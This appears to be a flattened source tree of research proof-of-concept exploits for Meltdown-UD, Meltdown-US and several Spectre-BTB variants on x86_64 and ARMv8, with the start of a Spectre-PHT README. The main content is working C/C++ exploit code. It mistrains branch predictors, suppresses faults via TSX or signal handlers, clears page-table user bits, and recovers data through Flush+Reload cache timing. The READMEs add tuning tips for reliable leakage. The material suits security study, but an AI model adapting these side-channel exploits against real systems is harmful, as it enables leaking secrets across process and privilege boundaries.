main_x86: main.c gcc main.c -o poc_x86 -O3 -I../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ clean: rm -f poc_* ================================================ FILE: pocs/meltdown/UD/README.md ================================================ # Meltdown-UD PoC This folder contains a Meltdown-UD proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. If the PoC is successfull the output is ``` S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S ``` ## How it works In this PoC, we try to encode a value in the cache following an illegal opcode exception. On x86, we use a wrong lock prefix to trigger the exception, on ARM we use the instruction that is defined to always throw the exception. We suppress the exception either via Intel TSX or segfault handling. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. + **Solution #5 (ARM only):** If you get a segfault, try compiling it with -O1 or -O2. ================================================ FILE: pocs/meltdown/UD/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include "libcache/cacheutils.h" #define SECRET 'S' int main(void) { int status; int pkey; char *buffer; pagesize = sysconf(_SC_PAGESIZE); mem = (char*) malloc( pagesize * 256 ); memset(mem, 1, pagesize * 256); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); buffer = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); *buffer = SECRET; printf("buffer contains: %c\n", *buffer); // Flush our shared memory flush_shared_memory(); for(int r = 0; r < 1000000; r++) { // Ensure data is in the cache maccess(buffer); unsigned status; // Start TSX if(try_start()) { // ud#, due to wrong lock prefix #if !defined(__aarch64__) asm volatile(".byte 0xf0"); asm volatile("inc %rax"); #else asm volatile (".word 0x00000000\n"); //raises sigill #endif // Encode in the cache maccess(mem + (*buffer) * pagesize); try_abort(); } try_end(); // Recover from the covert channel for(int i = 0; i < 256; i++) { int mix_i = (i * 167 + 13) % 256; if(flush_reload(mem + mix_i * pagesize)) { printf("%c ", mix_i); fflush(stdout); } } } printf("Meltdown-UD done!\n"); printf("buffer contains: %c\n", *buffer); free(mem); return EXIT_SUCCESS; } ================================================ FILE: pocs/meltdown/US/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -O3 -I../../ -L../../libpte -lpte -lrt main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ -L../../libpte -lpte -lrt clean: rm -f poc_* ================================================ FILE: pocs/meltdown/US/README.md ================================================ # Meltdown-US PoC This folder contains a Meltdown-US proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S ``` ## How it works In our PoC, we create a shared mapping to a piece of memory. For one mapping, we clear the userspace-accessible bit using libpte (PTEditor), the other one remains a valid mapping that is accessible from userspace. This valid mapping is required to load the data into the cache. Our PoC also works if the data is not in the cache, but it takes longer to leak data. We leak the data by accessing it through the non-accessible mapping and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/meltdown/US/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "libpte/ptedit_header.h" #include "libcache/cacheutils.h" char *victim_page; #define SECRET 'S' int main(void) { pagesize = sysconf(_SC_PAGESIZE); mem = (char*) malloc( pagesize * 256 ); memset(mem, 1, pagesize * 256); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // Initialize PTEditor to manipulate page table entries if(ptedit_init()) { printf("Could not initialize ptedit (did you load the kernel module?)\n"); return 1; } // We need a shared mapping. One mapping gets US bit cleared for unauthorized access. // The second one remains valid to keep data in the cache as it works better. int shm = shm_open("shared_mapping", O_CREAT | O_RDWR, 0644); if(shm == -1) { fprintf(stderr, "Error: Shared memory\n"); return -1; } // Set memory objects size if(ftruncate(shm, 4096 * 2) == -1) { fprintf(stderr, "Error: Could not set shared memory object size\n"); return -1; } // Victim mapping that gets US bit cleared victim_page = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); // Mapping for keeping data in the cache char* accessor = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); // Write data we want to recover to our victim page memset( victim_page, SECRET, pagesize * sizeof(char) ); // Clear US bit of our victim page ptedit_pte_clear_bit( victim_page, 0, PTEDIT_PAGE_BIT_USER); // Flush our shared memory flush_shared_memory(); printf("Output legend:\n"); printf(" '%c'.....Works\n", (char)SECRET); for(int r = 0; r < 1000000; r++) { // Load data into the cache and fence maccess(accessor); mfence(); // Start TSX transaction if available on CPU if(try_start()) { // Null pointer access prolongs transient window maccess(0); // Perform access based on unauthorized data maccess(mem + *victim_page * pagesize); try_abort(); } try_end(); // Recover data from cache covert channel for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) % 256; if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) { printf("%c ", mix_i); fflush(stdout); } } } printf("Meltdown-US done!\n"); munmap(victim_page, pagesize); munmap(accessor, pagesize); shm_unlink("shared_mapping"); ptedit_cleanup(); exit(EXIT_SUCCESS); } ================================================ FILE: pocs/spectre/BTB/ca_ip/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.cpp g++ main.cpp -o poc_x86 -Os -I../../../ main_arm: main.cpp aarch64-linux-gnu-g++ -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.cpp -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/BTB/ca_ip/README.md ================================================ # Spectre-BTB PoC This folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S S S S S S S ``` ## How it works This PoC uses a class from which two subclasses are derived. One class Bird contains the secret data and a implements the function `move` so that it does nothing. The other class, Fiish, contains some dummy data and the implements the function `move` so that it encodes the member variable in the cache. The functinon `move_animal` then expects the base class as a parameter and calls the virtual function `move`. We then fork and let one process call the function with an object of type Fish and then let the other process call the function with a Bird object, thus leaking the secret data. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang in "Leak secret..." + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/BTB/ca_ip/main.cpp ================================================ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include #include #include #include #include #include #include extern "C" { #include "libcache/cacheutils.h" } #define SECRET 'S' // Base class class Animal { public: virtual void move() { } }; // Bird contains the secret class Bird : public Animal { private: char secret; public: Bird() { secret = SECRET; } void move() { // nop } }; // Class that contains the function to leak data class Fish : public Animal { private: char data; public: Fish() { data = 'F'; } void move() { //Encode data in the cache cache_encode(data); } }; // Function so that we always call animal->move from the same virtual address // required for indexing always the same BTB entry void move_animal(Animal* animal) { animal->move(); } int main(int argc, char **argv) { // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); printf("Works if %c appears\n", SECRET); pagesize = sysconf(_SC_PAGESIZE); char* _mem = (char*)malloc(pagesize*300); mem = (char*)(((size_t)_mem & ~(pagesize-1)) + pagesize*2); // Cross-address-space attack, so we fork int is_child = (fork() == 0); Fish* fish = new Fish(); Bird* bird = new Bird(); // contains secret char* ptr = (char*)((((size_t)move_animal)) & ~(pagesize-1)); mprotect(ptr, pagesize * 2, PROT_WRITE | PROT_READ | PROT_EXEC); memset(mem, 0, pagesize * 290); maccess((void*)move_animal); // trigger COW for the page containing the function ptr[0] = ptr[0]; while(1) { // Parent is doing the mistraining if(!is_child) { nospec(); // train for fish for(int j = 0; j < 1000; j++) { move_animal(fish); } } // Flush our shared memory flush_shared_memory(); mfence(); // Increase misspeculation chance flush(bird); mfence(); // Child is leaking data if(is_child) { nospec(); // Leak bird secret move_animal(bird); // Recover data from the covert channel for(int i = 1; i < 256; i++) { int mix_i = ((i * 167) + 13) & 255; // prefetcher if(flush_reload(mem + mix_i * pagesize)) { if((mix_i >= 'A' && mix_i <= 'Z')) { printf("%c ", mix_i); } fflush(stdout); sched_yield(); } } } } } ================================================ FILE: pocs/spectre/BTB/ca_oop/cacheutils.h ================================================ #ifndef CACHEUTILS_H #define CACHEUTILS_H #ifndef HIDEMINMAX #define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) #endif #define MEASURE(op) \ ({ \ size_t begin = rdtsc(); \ op \ size_t end = rdtsc(); \ end - begin; \ }) inline __attribute__((always_inline)) uint64_t rdtsc() { uint64_t a, d; asm volatile ( "mfence\n\t" "RDTSCP\n\t" "mov %%rdx, %0\n\t" "mov %%rax, %1\n\t" "xor %%rax, %%rax\n\t" "CPUID\n\t" : "=r" (d), "=r" (a) : : "%rax", "%rbx", "%rcx", "%rdx"); a = (d<<32) | a; return a; } #define MACCESS(p,s,t) asm volatile ("movq (%0), %%r" t "x" : : s (p) : "r" t "x") inline __attribute__((always_inline)) void maccess(volatile void* p) { asm volatile ("movb (%0), %%al\n" : : "c" (p) : "rax"); } inline __attribute__((always_inline)) void flush(void* p) { asm volatile ("clflush 0(%0)\n\t" : : "c" (p) : "rax"); } #endif ================================================ FILE: pocs/spectre/BTB/ca_oop/exploit.sh ================================================ #!/bin/zsh file_name="main" gcc -g $file_name.c -o $file_name -Wno-format-security ./$file_name $(./hyper_thread_pair.sh) $1 ================================================ FILE: pocs/spectre/BTB/ca_oop/hyper_thread_pair.sh ================================================ #!/bin/zsh setopt extendedglob cd /sys/devices/system/cpu/ for i in cpu[0-9]##; do package=`cat $i/topology/physical_package_id` core=`cat $i/topology/core_id` cpu_id="${i#cpu}" config="$package-$core" if (( ${+target_config} )); then if [[ $target_config == $config ]]; then echo "$first_cpu_id $cpu_id" break fi else target_config="$config" first_cpu_id="$cpu_id" fi done ================================================ FILE: pocs/spectre/BTB/ca_oop/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "./cacheutils.h" #include "./smc_utils.h" #define CACHE_LINE_SIZE 64 #define PAGE_SIZE 4096ULL #define PAGE_BASE(addr) ((addr) & ~(PAGE_SIZE-1)) #define PAGE_OFFSET(addr) ((addr) & (PAGE_SIZE-1)) #define MY_MMAP(addr) mmap((void*)PAGE_BASE(addr), PAGE_SIZE, \ PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) #define ARRAY_OFF (PAGE_SIZE) #define ARRAY_OFFSET(i) ((i)*ARRAY_OFF + (char*)useless_array) #define CACHE_TARGET_ARRAY_SIZE (2 * ARRAY_OFF * 256) #define SECRET 'S' char *asm_slow_jmp = "mov $%zd, %%rax\n\t" "mov $%zd, %%rbx\n\t" "mov %%rax, 0x0000(%%rbx)\n\t" "mov %%rax, 0x1000(%%rbx)\n\t" "mov %%rax, 0x2000(%%rbx)\n\t" "mov %%rax, 0x3000(%%rbx)\n\t" "clflush 0x0000(%%rbx)\n\t" "clflush 0x1000(%%rbx)\n\t" "clflush 0x2000(%%rbx)\n\t" "clflush 0x3000(%%rbx)\n\t" "xor %%rax, %%rax\n\t" "mov 0x0000(%%rbx), %%rax\n\t" "or 0x1000(%%rbx), %%rax\n\t" "or 0x2000(%%rbx), %%rax\n\t" "or 0x3000(%%rbx), %%rax\n\t" "jmp *%%rax\n"; char *asm_jmp = "ret\n"; char *asm_gadget = "mov $%zd, %%rax\n\t" "xor %%rbx,%%rbx\n\t" "mov $%zd, %%rdx\n\t" "mov (%%rdx), %%bl\n\t" //"mov %%rbx, %%rdx\n\t" //better cache usage? //"shl $6, %%rdx\n\t" //better cache usage? "shl $12, %%rbx\n\t" //"add %%rdx, %%rax\n\t" //better cache usage? "add %%rbx, %%rax\n\t" "mov 0(%%rax), %%rax\n\t" "ret\n"; void *useless_array; size_t calibration() { size_t touch_miss_min = ~0; size_t touch_miss = 0; size_t touch_hit = 0; size_t timing = 0; const int measurements = 1024*1024; uint8_t stack_space_array[1024 * 1024 * 2]; void *addr = stack_space_array + 1024*1024; for (int i=0; i: cpu ids of logical cpus sharing one core\n"); printf(" oop: if given the exploit will be oop\n"); exit(1); } int secret = SECRET; int oop = argc==4 ? 1 : 0; printf("This PoC is super noisy and will take some time, but once it starts it comes in bursts.\n"); printf("Secret letter is %c\n",secret); printf("Attack is%s out-of-place\n", oop ? "" : " not"); size_t threshold = calibration(); void * cache_addr; size_t attacker; void *slow_jump_buffer = mmap(NULL, 4*PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); useless_array = mmap(NULL, CACHE_TARGET_ARRAY_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memset(useless_array, 1, CACHE_TARGET_ARRAY_SIZE); cache_addr = ARRAY_OFFSET(0); size_t jump = 0x100+(size_t)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); size_t gadget = 0x10+(size_t)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); size_t target = 0x00+(size_t)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); inject_f_asm(jump, asm_slow_jmp, gadget, slow_jump_buffer); inject_f_asm(gadget, asm_jmp); pid_t pid = fork(); assert(pid != -1); attacker = pid == 0; if (!attacker) { if (oop) jump += PAGE_SIZE; inject_f_asm(jump, asm_slow_jmp, target, slow_jump_buffer); inject_f_asm(gadget, asm_gadget, cache_addr, &secret); inject_f_asm(target, asm_jmp); } assert(useless_array != (void*)(-1)); cpu_set_t cpu_set; CPU_ZERO(&cpu_set); int cpu_id = atoi(argv[pid ? 1 : 2]); CPU_SET(cpu_id, &cpu_set); assert(0 == sched_setaffinity(0, sizeof(cpu_set), &cpu_set)); flush(cache_addr); if (attacker) { printf("attacker setup done\n"); size_t trys = 0; size_t hits = 0; size_t sucs = 0; while (1) { if (trys % 100000 == 0) { printf("\ntrys: %20zd\n", trys); printf("hits: %20zd\n", hits); printf("sucs: %20zd\n", sucs); printf("stat: %s\n", sucs * 10 > hits ? ":)" : ":("); } trys++; for (int i = 0; i < 100; i++) call_addr(jump); for (int i = 0; i<256; i++) { if (MEASURE({maccess(ARRAY_OFFSET(i));}) < threshold) { hits++; if ('A'<=i && i <='Z') printf("%c ",i); if (i == secret) { sucs++; } } } for (int i = 0; i<257; i++) flush(ARRAY_OFFSET(i)); } } else { printf("victim setup done\n"); while (1) { maccess(&secret); call_addr(jump); } } kill(pid ? pid : getppid(), SIGKILL); return 0; } ================================================ FILE: pocs/spectre/BTB/ca_oop/smc_utils.h ================================================ inline __attribute__((always_inline)) void call_addr(size_t addr) { asm volatile( "movq %0, %%rax\n\t" "call *%%rax" : : "r" (addr) : "%rax" ); } size_t inject_code(size_t dest, char* hex, size_t length) { memcpy((void*)dest, hex, length); return dest + length; } size_t inject_jump(size_t dest, size_t target) { char *code_base_jump = "\x48\xb8--ADDR--" "\xff\xe0"; size_t end = inject_code(dest, code_base_jump, strlen(code_base_jump)); *((size_t*)(dest+2)) = target; return end; } size_t inject_maccess(size_t dest, size_t target) { char *code_base_maccess = "\x48\xb9--ADDR--" "\x8a\x01"; size_t end = inject_code(dest, code_base_maccess, strlen(code_base_maccess)); *((size_t*)(dest+2)) = target; return end; } size_t inject_nop(size_t dest, size_t no) { while(no) { no--; dest = inject_code(dest, "\x90", 1); } return dest; } size_t assemble(char *in, char **out) { FILE *asm_file = fopen("tmp.s", "w"); if (asm_file == NULL) return 0; fwrite(in, strlen(in), 1, asm_file); fclose(asm_file); system("as -o tmp.elf tmp.s; objcopy -O binary tmp.elf tmp.bin"); char *buffer = NULL; size_t length; FILE *bin_file = fopen("tmp.bin", "rb"); if (bin_file) { fseek(bin_file, 0, SEEK_END); length = ftell(bin_file); fseek (bin_file, 0, SEEK_SET); buffer = malloc(length); if (buffer) { fread(buffer, 1, length, bin_file); } fclose(bin_file); } system("rm tmp.elf tmp.bin tmp.s"); *out = buffer; return length; } size_t inject_asm(size_t dest, char* asm_code) { char *hex = NULL; size_t length = assemble(asm_code, &hex); if (hex) { dest = inject_code(dest, hex, length); free(hex); } return dest; } #define VA_ARGS(...) , ##__VA_ARGS__ #define inject_f_asm(dest, asm_code, ...) \ ({ \ size_t ret = dest; \ char *code = asm_code; \ size_t len = snprintf(NULL, 0, code VA_ARGS(__VA_ARGS__)); \ char *f_asm_code = malloc(len); \ if (f_asm_code) \ { \ sprintf(f_asm_code, code VA_ARGS(__VA_ARGS__)); \ ret = inject_asm(ret, f_asm_code); \ free(f_asm_code); \ } \ ret; \ }) ================================================ FILE: pocs/spectre/BTB/sa_ip/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.cpp g++ main.cpp -o poc_x86 -Os -I../../../ main_arm: main.cpp aarch64-linux-gnu-g++ -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.cpp -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/BTB/sa_ip/README.md ================================================ # Spectre-BTB PoC This folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S S S S S S S ``` ## How it works This PoC uses a class from which two subclasses are derived. One class Bird contains the secret data and a implements the function `move` so that it does nothing. The other class, Fiish, contains some dummy data and the implements the function `move` so that it encodes the member variable in the cache. The functinon `move_animal` then expects the base class as a parameter and calls the virtual function `move`. By first mistraining this function with an Animal of type Bird and then substituting the Animal with a Fish we are able to leak the data as the call is mispredicted. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang in "Leak secret..." + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/BTB/sa_ip/main.cpp ================================================ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include #include #include #include #include #include #include extern "C" { #include "libcache/cacheutils.h" } #define SECRET 'S' // Base class class Animal { public: virtual void move() { } }; // Bird contains the secret class Bird : public Animal { private: char secret; public: Bird() { secret = SECRET; } void move() { // nop } }; // Class that contains the function to leak data class Fish : public Animal { private: char data; public: Fish() { data = 'F'; } void move() { // Encode data in the cache cache_encode(data); } }; // Function so that we always call animal->move from the same virtual address // required for indexing always the same BTB entry void move_animal(Animal* animal) { animal->move(); } int main(int argc, char **argv) { // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); pagesize = sysconf(_SC_PAGESIZE); char* _mem = (char*)malloc(pagesize*300); mem = (char*)(((size_t)_mem & ~(pagesize-1)) + pagesize*2); Fish* fish = new Fish(); Bird* bird = new Bird(); // contains secret char* ptr = (char*)((((size_t)move_animal)) & ~(pagesize-1)); mprotect(ptr, pagesize * 2, PROT_READ | PROT_WRITE | PROT_EXEC); memset(mem, 0, pagesize * 290); maccess((void*)move_animal); ptr[0] = ptr[0]; printf("Works if %c appears\n", SECRET); while(1) { nospec(); // Mistrain the BTB for Fish for(int j = 0; j < 1000; j++) { move_animal(fish); } // Flush our shared memory flush_shared_memory(); mfence(); // Increase misspeculation chance flush(bird); mfence(); nospec(); // Leak bird secret move_animal(bird); // Recover data from the covert channel for(int i = 1; i < 256; i++) { int mix_i = ((i * 167) + 13) & 255; // prefetcher if(flush_reload(mem + mix_i * pagesize)) { if((mix_i >= 'A' && mix_i <= 'Z')) { printf("%c ", mix_i); } fflush(stdout); sched_yield(); } } } } ================================================ FILE: pocs/spectre/BTB/sa_oop/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/BTB/sa_oop/README.md ================================================ # Spectre-BTB PoC This folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S S S S S S S ``` ## How it works This PoC uses two functions `dummy` and `dump_secret`. The first one does nothing but return while the second one encodes secret data in the cache. We then create a function pointer that shares the same least significant bits (those are used to index the BTB) and some random high bits. We repeatedly call the `dump_secret` function to mistrain the BTB so that the following call to `dump` is mispredicted to also go to the location of `dump_secret`. We suppress the architectural fault of calling `dump` via segfault handling. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang in "Leak secret..." + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/BTB/sa_oop/main.c ================================================ #include #include #include #include #include #include #include "libcache/cacheutils.h" #define SECRET 'S' int mistrain_ = 250; int handling = 0; static jmp_buf buf; // Handle segfaults static void segfault_handler(int signum) { (void)signum; unblock_signal(SIGSEGV); longjmp(buf, 1); } void dummy() { return; } void dump_secret() { // Encode data in the covert channel cache_encode(SECRET); } int main(int argc, const char **argv) { // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // install signal handler signal(SIGSEGV, segfault_handler); pagesize = sysconf(_SC_PAGESIZE); char *_mem = (char*) malloc(pagesize * (256 + 4)); mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); memset(mem, 0, pagesize * 256); // Flush our shared memory flush_shared_memory(); mfence(); void (*mistrain)(); void (*dump)(); mistrain = dump_secret; // clear the high bits of dump_secret dump = (void (*)())(0x000000FFFFFF & (size_t)dump_secret); // set the high bits to something and set the low bits to dump_scret, we only care about the low bits in BTB indexing dump = (void (*)())(0x123321000000 | (size_t)dump); printf("[\x1b[33m*\x1b[0m] mistrain: \x1b[33m\t%p\x1b[0m\n", mistrain); printf("[\x1b[33m*\x1b[0m] dump: \x1b[33m\t%p\x1b[0m\n", dump); // We now have a function pointer to a function with the same 23 LSB as our leak function while(1) { // Mistrain by calling mistrain (dump_secret) function for(int i = 0; i < 2500; i++) mistrain(); // Flush our shared memory flush_shared_memory(); mfence(); nospec(); if(handling) { // Call predicted function dump(); } // Previous call will fail, so after every fault we return here if(!setjmp(buf)) { handling = 1; } // Recover data from the covert channel for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) & 255; // avoid prefetcher if(flush_reload(mem + mix_i * pagesize)) { if(mix_i >= 'A' && mix_i <= 'Z') { printf("%c ", mix_i); break; } fflush(stdout); } } sched_yield(); } return 0; } ================================================ FILE: pocs/spectre/PHT/ca_ip/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/PHT/ca_ip/README.md ================================================ # Spectre-PHT PoC This folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` [*] Flush+Reload Threshold: 180 [ ] INACCESSIBLE SECRET [>] Done ``` ## How it works The array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the "accessible" part of the array. If so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). The longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. 